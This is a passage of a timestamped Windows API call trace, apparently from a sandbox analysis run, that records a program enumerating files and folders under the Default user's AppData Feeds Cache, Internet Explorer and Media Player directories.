	[0082.339] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.339] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.339] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fde08 | out: lpFileInformation=0x123fde08*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.340] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x123fde58 | out: lpFileInformation=0x123fde58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.340] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7"), fInfoLevelId=0x0, lpFileInformation=0x123fdea8 | out: lpFileInformation=0x123fdea8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.340] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.340] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.340] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.340] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.340] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0082.340] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.340] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1268c008 | out: lpFileInformation=0x1268c008*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij"), fInfoLevelId=0x0, lpFileInformation=0x1268c058 | out: lpFileInformation=0x1268c058*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.341] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.341] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0082.341] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.341] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1268c148 | out: lpFileInformation=0x1268c148*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1268c198 | out: lpFileInformation=0x1268c198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.342] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd"), fInfoLevelId=0x0, lpFileInformation=0x1268c1e8 | out: lpFileInformation=0x1268c1e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.342] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.342] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.342] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.342] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.342] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0082.342] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.342] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1268c2d8 | out: lpFileInformation=0x1268c2d8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\fwlink[1]"), fInfoLevelId=0x0, lpFileInformation=0x1268c328 | out: lpFileInformation=0x1268c328*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfed03a6b, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1268c378 | out: lpFileInformation=0x1268c378*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43)) returned 1
	[0082.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), fInfoLevelId=0x0, lpFileInformation=0x1268c3c8 | out: lpFileInformation=0x1268c3c8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa9d0d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1
	[0082.343] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x1268c418 | out: lpFileInformation=0x1268c418*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.343] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.344] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.344] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.344] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff12e0f2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1
	[0082.344] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1
	[0082.344] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.344] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), fInfoLevelId=0x0, lpFileInformation=0x1268c508 | out: lpFileInformation=0x1268c508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff12e0f2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9)) returned 1
	[0082.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), fInfoLevelId=0x0, lpFileInformation=0x1268c558 | out: lpFileInformation=0x1268c558*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9)) returned 1
	[0082.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player"), fInfoLevelId=0x0, lpFileInformation=0x1268c5a8 | out: lpFileInformation=0x1268c5a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.344] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.345] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.347] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
